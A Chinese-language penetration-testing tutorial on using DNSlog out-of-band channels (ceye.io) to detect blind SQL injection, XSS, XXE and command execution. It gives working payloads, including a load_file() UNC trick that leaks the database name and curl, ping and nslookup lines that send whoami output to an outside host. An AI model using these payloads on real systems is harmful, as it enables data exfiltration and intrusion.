巧用DNSlog實現無回顯注入

測試一些網站的時候,一些注入都是無回顯的,咱們能夠寫腳原本進行盲注,但有些網站會ban掉咱們的ip,這樣咱們能夠經過設置ip代理池解決,html

可是盲注每每效率很低,因此產生了DNSlog注入。具體原理以下。mysql

首先須要有一個能夠配置的域名,好比:ceye.io,而後經過代理商設置域名 ceye.io 的 nameserver 爲本身的服務器 A,而後再服務器 A 上配置好 DNS Server,這樣以來全部 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就可以實時地監控域名查詢請求了,圖示以下。sql

DNS在解析的時候會留下日誌,我們這個就是讀取多級域名的解析日誌,來獲取信息
簡單來講就是把信息放在高級域名中,傳遞到本身這,而後讀取日誌,獲取信息。數據庫

這樣說原理很抽象,下面經過實際例子看下。後端

http://ceye.io 這是一個免費的記錄dnslog的平臺,咱們註冊後到控制面板會給你一個二級域名:xxx.ceye.io,當咱們把注入信息放到三級域名那裏,後臺的日誌會記錄下來瀏覽器

0x01SQL盲注bash

就以sql盲注爲例。深刻理解下DNSlog注入過程:服務器

經過DNSlog盲注須要用的load_file()函數,因此通常得是root權限。show variables like '%secure%';查看load_file()能夠讀取的磁盤。curl

一、當secure_file_priv爲空,就能夠讀取磁盤的目錄。xss

二、當secure_file_priv爲G:\,就能夠讀取G盤的文件。

三、當secure_file_priv爲null,load_file就不能加載文件。

經過設置my.ini來配置。secure_file_priv=""就是能夠load_flie任意磁盤的文件。

在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句

查看平臺,dnsLog被記錄下來。

load_file()函數能夠經過dns解析請求。

以sql-labs第五關:

payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日誌,發現security數據庫被查詢出來:

0x02 XSS(無回顯)

經過盲打,讓觸發者瀏覽器訪問預設至的連接地址,若是盲打成功,會在平臺上收到以下的連接訪問記錄:

payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求咱們的dnslog平臺

0x03 SSRF(無回顯)

payload: 

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> %remote;]> <root/>

0x04命令執行(無回顯)

當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。

*nix
curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io

也能夠經過base64加密傳送數據,平臺拿到的數據進行base64解密獲得命令回顯。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*

其餘的在這個平臺上有一些payload。

參考連接:

http://foreversong.cn/archives/861

https://bbs.ichunqiu.com/thread-22002-1-1.html

http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

相關文章
相關標籤/搜索